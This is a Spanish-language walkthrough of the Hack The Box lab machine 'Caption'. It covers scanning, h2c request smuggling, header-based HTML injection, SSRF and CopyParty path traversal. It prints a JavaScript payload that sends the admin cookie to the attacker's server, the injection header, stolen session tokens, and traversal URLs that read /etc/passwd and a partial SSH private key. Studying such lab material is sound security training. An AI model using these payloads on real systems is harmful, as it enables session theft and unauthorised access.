write up Caption HTB
El sitio web de Caption está protegido mediante un servidor de caché, un proxy y un firewall para aplicaciones web. Planeo aprovecharme de una vulnerabilidad de contrabando de texto plano HTTP/2 (h2c) para acceder a páginas que de otro modo no serían visibles. Además, realizaré una inyección de HTML con el objetivo de robar la cookie de administrador, lo que me permitirá ampliar mi acceso a través del contrabando. A partir de esto, obtendré acceso a una instancia de CopyParty y explotaré una vulnerabilidad de cruce de directorios para leer una clave SSH, lo que me dará control sobre la máquina. Para obtener privilegios más altos, utilizaré una inyección de comandos en un manejador de logs. y por ultimo escalado con thrift
lo primero como siempre el escaneo de nmap
nmap -p- --open --min-rate 5000 -Pn -sT -vvv -n 10.10.11.33 -oG allports
nmap -sVC -p22,80,8080 10.10.11.33 -oN ports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-29 20:51 CET
Nmap scan report for 10.10.11.33
Host is up (0.035s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, X11Probe:
| HTTP/1.1 400 Bad request
| Content-length: 90
| Cache-Control: no-cache
| Connection: close
| Content-Type: text/html
| <html><body><h1>400 Bad request</h1>
| Your browser sent an invalid request.
| </body></html>
| FourOhFourRequest, GetRequest, HTTPOptions:
| HTTP/1.1 301 Moved Permanently
| content-length: 0
| location: http://caption.htb
|_ connection: close
|_http-title: Did not follow redirect to http://caption.htb
8080/tcp open http-proxy
|_http-title: GitBucket
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Date: Sun, 29 Dec 2024 19:51:30 GMT
| Set-Cookie: JSESSIONID=node0v8ep0w60o9dqhytcyyniiux100294.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 5916
| <!DOCTYPE html>
| <html prefix="og: http://ogp.me/ns#" lang="en">
| <head>
| <meta charset="UTF-8" />
| <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <title>Error</title>
| <meta property="og:title" content="Error" />
| <meta property="og:type" content="object" />
| <meta property="og:url" content="http://10.10.11.33:8080/nice%20ports%2C/Tri%6Eity.txt%2ebak" />
| <meta property="og:image" content="http://10.10.11.33:8080/assets/common/images/gitbucket_ogp.png" />
| <link rel="icon" href="/assets/common/images
| GetRequest:
| HTTP/1.1 200 OK
| Date: Sun, 29 Dec 2024 19:51:30 GMT
| Set-Cookie: JSESSIONID=node01nbvjj902to5m1g9l1cbyj7anp100292.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 8628
| <!DOCTYPE html>
| <html prefix="og: http://ogp.me/ns#" lang="en">
| <head>
| <meta charset="UTF-8" />
| <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <title>GitBucket</title>
| <meta property="og:title" content="GitBucket" />
| <meta property="og:type" content="object" />
| <meta property="og:url" content="http://10.10.11.33:8080/" />
| <meta property="og:image" content="http://10.10.11.33:8080/assets/common/images/gitbucket_ogp.png" />
| <link rel="icon" href="/assets/common/images/gitbucket.png?20241227192245"
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Sun, 29 Dec 2024 19:51:30 GMT
| Set-Cookie: JSESSIONID=node01g1i4ju3smkc81bwcdxkg0bn0s100293.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Allow: GET,HEAD,POST,OPTIONS
| Content-Length: 0
| RTSPRequest:
| HTTP/1.1 505 HTTP Version Not Supported
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 58
| Connection: close
|_ <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.94SVN%I=7%D=12/29%Time=6771A83B%P=x86_64-pc-linux-gnu%r(
SF:GetRequest,66,"HTTP/1\.1\x20301\x20Moved\x20Permanently\r\ncontent-leng
SF:th:\x200\r\nlocation:\x20http://caption\.htb\r\nconnection:\x20close\r\
SF:n\r\n")%r(HTTPOptions,66,"HTTP/1\.1\x20301\x20Moved\x20Permanently\r\nc
SF:ontent-length:\x200\r\nlocation:\x20http://caption\.htb\r\nconnection:\
SF:x20close\r\n\r\n")%r(RTSPRequest,CF,"HTTP/1\.1\x20400\x20Bad\x20request
SF:\r\nContent-length:\x2090\r\nCache-Control:\x20no-cache\r\nConnection:\
SF:x20close\r\nContent-Type:\x20text/html\r\n\r\n<html><body><h1>400\x20Ba
SF:d\x20request</h1>\nYour\x20browser\x20sent\x20an\x20invalid\x20request\
SF:.\n</body></html>\n")%r(X11Probe,CF,"HTTP/1\.1\x20400\x20Bad\x20request
SF:\r\nContent-length:\x2090\r\nCache-Control:\x20no-cache\r\nConnection:\
SF:x20close\r\nContent-Type:\x20text/html\r\n\r\n<html><body><h1>400\x20Ba
SF:d\x20request</h1>\nYour\x20browser\x20sent\x20an\x20invalid\x20request\
SF:.\n</body></html>\n")%r(FourOhFourRequest,66,"HTTP/1\.1\x20301\x20Moved
SF:\x20Permanently\r\ncontent-length:\x200\r\nlocation:\x20http://caption\
SF:.htb\r\nconnection:\x20close\r\n\r\n")%r(RPCCheck,CF,"HTTP/1\.1\x20400\
SF:x20Bad\x20request\r\nContent-length:\x2090\r\nCache-Control:\x20no-cach
SF:e\r\nConnection:\x20close\r\nContent-Type:\x20text/html\r\n\r\n<html><b
SF:ody><h1>400\x20Bad\x20request</h1>\nYour\x20browser\x20sent\x20an\x20in
SF:valid\x20request\.\n</body></html>\n")%r(DNSVersionBindReqTCP,CF,"HTTP/
SF:1\.1\x20400\x20Bad\x20request\r\nContent-length:\x2090\r\nCache-Control
SF::\x20no-cache\r\nConnection:\x20close\r\nContent-Type:\x20text/html\r\n
SF:\r\n<html><body><h1>400\x20Bad\x20request</h1>\nYour\x20browser\x20sent
SF:\x20an\x20invalid\x20request\.\n</body></html>\n")%r(DNSStatusRequestTC
SF:P,CF,"HTTP/1\.1\x20400\x20Bad\x20request\r\nContent-length:\x2090\r\nCa
SF:che-Control:\x20no-cache\r\nConnection:\x20close\r\nContent-Type:\x20te
SF:xt/html\r\n\r\n<html><body><h1>400\x20Bad\x20request</h1>\nYour\x20brow
SF:ser\x20sent\x20an\x20invalid\x20request\.\n</body></html>\n")%r(Help,CF
SF:,"HTTP/1\.1\x20400\x20Bad\x20request\r\nContent-length:\x2090\r\nCache-
SF:Control:\x20no-cache\r\nConnection:\x20close\r\nContent-Type:\x20text/h
SF:tml\r\n\r\n<html><body><h1>400\x20Bad\x20request</h1>\nYour\x20browser\
SF:x20sent\x20an\x20invalid\x20request\.\n</body></html>\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8080-TCP:V=7.94SVN%I=7%D=12/29%Time=6771A83B%P=x86_64-pc-linux-gnu%
SF:r(GetRequest,22A7,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Sun,\x2029\x20Dec
SF:\x202024\x2019:51:30\x20GMT\r\nSet-Cookie:\x20JSESSIONID=node01nbvjj902
SF:to5m1g9l1cbyj7anp100292\.node0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20T
SF:hu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Type:\x20text/ht
SF:ml;charset=utf-8\r\nContent-Length:\x208628\r\n\r\n<!DOCTYPE\x20html>\n
SF:<html\x20prefix=\"og:\x20http://ogp\.me/ns#\"\x20lang=\"en\">\n\x20\x20
SF:<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\"\x20/>\n\x20\x20\x20\
SF:x20<meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initi
SF:al-scale=1\.0,\x20maximum-scale=5\.0\"\x20/>\n\x20\x20\x20\x20<meta\x20
SF:http-equiv=\"X-UA-Compatible\"\x20content=\"IE=edge\"\x20/>\n\x20\x20\x
SF:20\x20<title>GitBucket</title>\n\x20\x20\x20\x20<meta\x20property=\"og:
SF:title\"\x20content=\"GitBucket\"\x20/>\n\x20\x20\x20\x20<meta\x20proper
SF:ty=\"og:type\"\x20content=\"object\"\x20/>\n\x20\x20\x20\x20<meta\x20pr
SF:operty=\"og:url\"\x20content=\"http://10\.10\.11\.33:8080/\"\x20/>\n\x2
SF:0\x20\x20\x20\n\x20\x20\x20\x20\x20\x20<meta\x20property=\"og:image\"\x
SF:20content=\"http://10\.10\.11\.33:8080/assets/common/images/gitbucket_o
SF:gp\.png\"\x20/>\n\x20\x20\x20\x20\n\x20\x20\x20\x20\n\x20\x20\x20\x20<l
SF:ink\x20rel=\"icon\"\x20href=\"/assets/common/images/gitbucket\.png\?202
SF:41227192245\"\x20")%r(HTTPOptions,10E,"HTTP/1\.1\x20200\x20OK\r\nDate:\
SF:x20Sun,\x2029\x20Dec\x202024\x2019:51:30\x20GMT\r\nSet-Cookie:\x20JSESS
SF:IONID=node01g1i4ju3smkc81bwcdxkg0bn0s100293\.node0;\x20Path=/;\x20HttpO
SF:nly\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nCont
SF:ent-Type:\x20text/html;charset=utf-8\r\nAllow:\x20GET,HEAD,POST,OPTIONS
SF:\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,B8,"HTTP/1\.1\x20505\x
SF:20HTTP\x20Version\x20Not\x20Supported\r\nContent-Type:\x20text/html;cha
SF:rset=iso-8859-1\r\nContent-Length:\x2058\r\nConnection:\x20close\r\n\r\
SF:n<h1>Bad\x20Message\x20505</h1><pre>reason:\x20Unknown\x20Version</pre>
SF:")%r(FourOhFourRequest,1813,"HTTP/1\.1\x20404\x20Not\x20Found\r\nDate:\
SF:x20Sun,\x2029\x20Dec\x202024\x2019:51:30\x20GMT\r\nSet-Cookie:\x20JSESS
SF:IONID=node0v8ep0w60o9dqhytcyyniiux100294\.node0;\x20Path=/;\x20HttpOnly
SF:\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent
SF:-Type:\x20text/html;charset=utf-8\r\nContent-Length:\x205916\r\n\r\n<!D
SF:OCTYPE\x20html>\n<html\x20prefix=\"og:\x20http://ogp\.me/ns#\"\x20lang=
SF:\"en\">\n\x20\x20<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\"\x20
SF:/>\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=devic
SF:e-width,\x20initial-scale=1\.0,\x20maximum-scale=5\.0\"\x20/>\n\x20\x20
SF:\x20\x20<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=edge\"\
SF:x20/>\n\x20\x20\x20\x20<title>Error</title>\n\x20\x20\x20\x20<meta\x20p
SF:roperty=\"og:title\"\x20content=\"Error\"\x20/>\n\x20\x20\x20\x20<meta\
SF:x20property=\"og:type\"\x20content=\"object\"\x20/>\n\x20\x20\x20\x20<m
SF:eta\x20property=\"og:url\"\x20content=\"http://10\.10\.11\.33:8080/nice
SF:%20ports%2C/Tri%6Eity\.txt%2ebak\"\x20/>\n\x20\x20\x20\x20\n\x20\x20\x2
SF:0\x20\x20\x20<meta\x20property=\"og:image\"\x20content=\"http://10\.10\
SF:.11\.33:8080/assets/common/images/gitbucket_ogp\.png\"\x20/>\n\x20\x20\
SF:x20\x20\n\x20\x20\x20\x20\n\x20\x20\x20\x20<link\x20rel=\"icon\"\x20hre
SF:f=\"/assets/common/images");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.66 seconds
vemos que hay dos web una en el puerto 80 y una en el puerto 8080 vemos tambien un dominio por lo que o añadimos a el etc/hosts
ahora la voy a hacer un caption a las dos paginas webs
no vemos informacion critica por lo que vamos para dentro
en http://caption.htb vemos lo siguiente
no hay mucho en lo que tocar por lo que voy directo a hacer un fuzzing con disearch por ejemplo
dirsearch -u "http://caption.htb" -t 50 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
no sale nada interesante por lo que vamos a ver la del puerto 8080
vemos un gitbucket sin mas vemos un usuario root
si vamos a uno de los git veremos uno llamado update acces contro y si miramos los cambios veremos lo siguiente
una contraseña que si la ponemos en el puesrto 80
ganamos acceso
ahora vemos apartados interesantes en especial uno llamado logs y otro downloas que nos da un 404
este sitio es vulnerable a H2C Smuggling por lo que podriamos usar la siguiente erramienta para efectuarlo de forma mas facil
https://github.com/BishopFox/h2csmuggler
que pasa que al ejecutar
python3 .\h2csmuggler.py -x http://caption.htb http://caption.htb/logs
[INFO] h2c stream established successfully.
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sat, 25 Jan 2025 17:53:43 GMT
content-type: text/html; charset=utf-8
content-length: 4316
x-varnish: 32797 65537
age: 104
via: 1.1 varnish (Varnish/6.6)
accept-ranges: bytes
<snip>
[INFO] Requesting - /logs
:status: 302
server: Werkzeug/3.0.1 Python/3.10.12
date: Sat, 25 Jan 2025 17:55:28 GMT
content-type: text/html; charset=utf-8
content-length: 189
location: /
x-varnish: 32798
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/">/</a>. If not, click the link.
basicamente necesitamos una cookie
para ello si capturamos la peticion en firewalls o en home veremos lo siguiente
Al analizar los resultados del Burp Suite, observamos un archivo JavaScript que obtiene recursos dinámicamente de una URL interna, utilizando el parámetro utm_source. Esto presenta una oportunidad para probar una posible manipulación inyectando cabeceras HTTP o cargas útiles para redirigir el JavaScript a una URL de recursos personalizada y ver si podemos anular la URL interna original.
Además, la respuesta incluye una cabecera X-Cache con un valor de MISS, que normalmente genera Varnish para indicar una pérdida de caché (probablemente la primera visita a la página web). La cabecera Cache-Control: public, max-age=120 revela que la caché caduca y se actualiza cada 2 minutos, lo que proporciona un breve margen para probar el comportamiento relacionado con la caché.
por lo que la forma de aprovecharnos de esto es la siguiente
nos ponemos en con un server python con el siguiente exploit para sacar la cookie
(function stealCookies() {
let xhr = new XMLHttpRequest();
let cookieData = document.cookie;
xhr.open("GET", "http://10.10.14.134:8000?cookies=" + encodeURIComponent(cookieData), true);
xhr.send();
})();
y añadiremos la siguiente cavecera
X-Forwarded-Host: 127.0.0.1"> </script> <script src="http://10.10.14.134:8000/exploit.js"></script> <!--
veremos que se cambia la el link
y que nos llega la cookie con la que podemos ver los logs
python3 .\h2csmuggler.py -x http://caption.htb http://caption.htb/logs -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3ODMzMDE1fQ.dM4ER4PO6PF3ds83BD9rdEweUpCRxtazbHSDLR7BgJQ'
[INFO] h2c stream established successfully.
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sat, 25 Jan 2025 18:25:53 GMT
content-type: text/html; charset=utf-8
content-length: 4316
x-varnish: 169 65552
age: 17
via: 1.1 varnish (Varnish/6.6)
accept-ranges: bytes
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-2c7831bb44f98c1391d6a4ffda0e1fd302503391ca806e7fcc7b9b87197aec26.js"></script>
<title>Caption Portal Login</title>
<link rel="canonical" href="https://codepen.io/Tushar-Sandhu/pen/YzRROwd">
<style>
@import url(https://fonts.googleapis.com/css?family=Roboto);
:root{
--primary-color: #022c22;
--secondary-color:#f0fdfa;
}
html * {
font-family: 'Roboto', sans-serif !important;
cursor:none;
}
body{
margin:0;
padding:0;
height:100vh;
width:100vw;
color:var(--secondary-color);
display:flex;
justify-content:center;
align-items:center;
}
.form-container{
height:550px;
text-align:center;
display:flex;
width:auto;
align-items:center;
justify-content:flex-end;
width: 1200px;
background-color:var(--primary-color);
box-shadow:
0 2.8px 2.2px rgba(0, 0, 0, 0.034),
0 6.7px 5.3px rgba(0, 0, 0, 0.048),
0 12.5px 10px rgba(0, 0, 0, 0.06),
0 22.3px 17.9px rgba(0, 0, 0, 0.072),
0 41.8px 33.4px rgba(0, 0, 0, 0.086),
0 100px 80px rgba(0, 0, 0, 0.12);
transition: all 0.3s;
}
.form-container:hover{
transform: scale(1.01) perspective(1px);
}
.form-container > form{
display:flex;
flex: 1 1 0px;
width:100%;
flex-direction:column;
gap:35px;
align-items:center;
justify-content:center;
}
.submit-btn{
width:35%;
font-size:medium;
background-color:transparent;
color:var(--secondary-color);
border:none;
transition:all 0.3s;
}
.submit-btn:hover{
background-color:var(--secondary-color);
color:var(--primary-color);
font-weight:bold;
outline:none;
transform: scale(1.08) perspective(1px);
}
img{
height:100%;
width:auto;
flex: 1 1 0px;
}
.fname-container, .lname-container, .email-container{
position:relative;
width:50%;
}
label{
position: absolute;
left:-10px;
top:-15px;
z-index:1;
background-color:var(--primary-color);
padding-right:5%;
}
input{
background:transparent;
border:none;
height:30px;
outline: white solid;
font-size:medium;
color:var(--secondary-color);
padding-left:3%;
border-radius:4px;
transition: all 0.3s;
width:100%;
}
input:focus{
outline:green solid;
transform: scale(1.03) perspective(1px);
}
.mymouse{
z-index:2;
position:absolute;
height:30px;
width:30px;
background-color:transparent;
border-radius:50%;
outline: black solid;
transform: translateX(-50%) translateY(-50%);
pointer-events: none;
transition: all 100ms ease-out;
}
</style>
<script>
window.console = window.console || function(t) {};
</script>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<div class="mymouse"></div>
<div class="form-container">
<form class="fr" method="POST">
<h1 class="elem">Caption Portal<br/>Login </h1>
<div class="fname-container">
<label for='fname'>UserName</label>
<input type="text" name="username" class="elem" >
</div>
<div class='lname-container'>
<label for='lname'>Password</label>
<input type="password" name="password" class="elem">
</div>
<div class='lname-container'>
</div>
<input type="submit" value="Login" class="submit-btn elem">
</form>
<img src="https://img.freepik.com/free-vector/fingerprint-concept-illustration_114360-3630.jpg?w=740&t=st=1690655121~exp=1690655721~hmac=a5de1b1e50d0513d9af30d378c665483c904dd89a6ca2eaae62986b10e3b5c85">
</div>
<script id="rendered-js" >
var cursor = document.querySelector(".mymouse");
document.body.addEventListener("mousemove", function (e) {
cursor.style.left = e.clientX + "px";
cursor.style.top = e.clientY + "px";
});
/*change mouse color*/
var cont = document.querySelector('.fr');
cont.addEventListener("mouseover", function () {
cursor.setAttribute("style", "outline:white solid");
});
var cont = document.querySelector('.form-container');
cont.addEventListener("mouseout", function () {
cursor.setAttribute("style", "outline:black solid");
});
//# sourceURL=pen.js
</script>
</body>
</html>
[INFO] Requesting - /logs
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sat, 25 Jan 2025 18:26:10 GMT
content-type: text/html; charset=utf-8
content-length: 4228
x-varnish: 170
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes
<!DOCTYPE html>
<html lang="en" lang="pt-br" data-bs-theme="dark">
<head>
<meta charset="UTF-8">
<script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-2c7831bb44f98c1391d6a4ffda0e1fd302503391ca806e7fcc7b9b87197aec26.js"></script>
<title>Caption Networks Home</title>
<link rel="canonical" href="https://codepen.io/ferrazjaa/pen/abPQywb">
<script>
window.console = window.console || function(t) {};
</script>
<title>Viajar é Preciso</title>
<!-- LINKS BOOTSTRAP -->
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet"
integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN" crossorigin="anonymous">
<!-- ICONES -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.1/font/bootstrap-icons.css">
</head>
<body>
<!-- nav bar -->
<nav class="navbar navbar-expand-lg bg-body-tertiary p-4">
<div class="container">
<!-- o usuário escolher o modo dark ou light -->
<button class="btn btn-secondary me-4" id="alterarTemaSite" onclick="alterarTemaSite()"><i
class="bi bi-brightness-high-fill"></i>
</button>
<!-- Logo -->
<a class="navbar-brand text-success" href="#"><strong>Caption Networks <i class="bi bi-globe"></i></strong></a>
<button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent"
aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<!-- MENU -->
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav me-auto mb-2 mb-lg-0">
<li class="nav-item">
<a class="nav-link active" aria-current="page" href="/home">Home</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/firewalls">Firewalls</a>
</li>
<li class="nav-item dropdown">
<a class="nav-link dropdown-toggle" href="#" role="button" data-bs-toggle="dropdown" aria-expanded="false">
Routers
</a>
<ul class="dropdown-menu">
<li><a class="dropdown-item" href="#">Staging Networks</a></li>
<li><a class="dropdown-item" href="#">UAT Networks</a></li>
</ul>
<li><a class="nav-link" aria-current="page" href="/logs">Logs</a>
</li>
</ul>
<div class="d-flex">
<a href="/logout" class="btn btn-success">Logout</a>
</div>
</div>
</div>
</nav>
<header class="container my-4">
<div class="row">
<!-- vai ocupar todo o espaço se a tela for pequena -->
<!-- col-lg-6 para telas grandes -->
<center><h1>Log Management</h1></center>
<br/><br/><center>
<ul>
<li><a href="/download?url=http://127.0.0.1:3923/ssh_logs">SSH Logs</a></li>
<li><a href="/download?url=http://127.0.0.1:3923/fw_logs">Firewall Logs</a></li>
<li><a href="/download?url=http://127.0.0.1:3923/zk_logs">Zookeeper Logs</a></li>
<li><a href="/download?url=http://127.0.0.1:3923/hadoop_logs">Hadoop Logs</a></li>
</ul></center>
</div>
</div>
</header>
<!-- BOOTSTRAP JS -->
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"
integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL"
crossorigin="anonymous"></script>
<script id="rendered-js" >
// altera tem site
function alterarTemaSite() {
let tema = document.querySelector("html").getAttribute("data-bs-theme");
if (tema === "dark") {
document.querySelector("html").setAttribute("data-bs-theme", "light");
document.querySelector("#alterarTemaSite").innerHTML = `<i class="bi bi-moon-fill"></i>`;
} else {
document.querySelector("html").setAttribute("data-bs-theme", "dark");
document.querySelector("#alterarTemaSite").innerHTML = `<i class="bi bi-brightness-high-fill""></i>`;
}
}
//# sourceURL=pen.js
</script>
</body>
</html>
vemos ace ping a un puerto que es el 3923 el cual nosotros no vimos en nmap porque es local con el directorio downloads tenemos un parametro url al cual podemos apuntar por lo quevamos a probar
python3 h2csmuggler.py -x 'http://caption.htb' http://caption.htb/download\?url\=http://127.0.0.1:3923/ -X "GET" -H "Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3NjQ4ODgyfQ.j6wdhmR1Ed3hZVUbIwTcsS4__9wFeUio4F30_d23zw8 "
[INFO] h2c stream established successfully. :status: 200 server: Werkzeug/3.0.1 Python/3.10.12 date: Thu, 23 Jan 2025 15:59:00 GMT content-type: text/html; charset=utf-8 content-length: 4316 x-varnish: 98441 age: 0 via: 1.1 varnish (Varnish/6.6) x-cache: MISS accept-ranges: bytes
document.documentElement.className = localStorage.theme || dtheme; </script> <script src="/.cpr/util.js?_=kVPa"></script> <script src="/.cpr/baguettebox.js?_=kVPa"></script> <script src="/.cpr/browser.js?_=kVPa"></script> <script src="/.cpr/up2k.js?_=kVPa"></script> </body> </html>
vemos cosas intereantes principalmente el .cpr que pasa si apunto al etc/passwd?
python3 .\h2csmuggler.py -x http://caption.htb http://caption.htb/download?url=http://127.0.0.1:3923/.cpr/%252Fetc%252Fpasswd -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3ODMzMDE1fQ.dM4ER4PO6PF3ds83BD9rdEweUpCRxtazbHSDLR7BgJQ'
[INFO] h2c stream established successfully.
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sat, 25 Jan 2025 18:43:40 GMT
content-type: text/html; charset=utf-8
content-length: 4316
x-varnish: 32927
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes
<snip>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
haproxy:x:114:120::/var/lib/haproxy:/usr/sbin/nologin
varnish:x:115:121::/nonexistent:/usr/sbin/nologin
vcache:x:116:121::/nonexistent:/usr/sbin/nologin
varnishlog:x:117:121::/nonexistent:/usr/sbin/nologin
margo:x:1000:1000:,,,:/home/margo:/bin/bash
ruth:x:1001:1001:,,,:/home/ruth:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
pues que lo vemos por lo que ahora es cuestion de ver si sacamos el id_rsa de margo
python3 .\h2csmuggler.py -x http://caption.htb http://caption.htb/download?url=http://127.0.0.1:3923/.cpr//%252Fhome%252Fmargo%252F.ssh%252Fid_rsa -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3ODMzMDE1fQ.dM4ER4PO6PF3ds83BD9rdEweUpCRxtazbHSDLR7BgJQ'
[INFO] h2c stream established successfully.
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sat, 25 Jan 2025 18:43:40 GMT
content-type: text/html; charset=utf-8
content-length: 4316
x-varnish: 32927
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQTGOXexsvvDi6ef34AqJrlsOKP3cynseip0tX/R+A58
9sSkErzUOEOJba7G1Ep2TawTJTbWb2KROYrOYLA0zysQAAAAoJxnaNicZ2jYAAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMY5d7Gy+8OLp5/fgComuWw4o/dzKex6KnS1f9H4
Dnz2xKQSvNQ4Q4ltrsbUSnZNrBMlNtZvYpE5is5gsDTPKxAAAAAgaNaOfcgjzxxq/7lNizdKUj2u
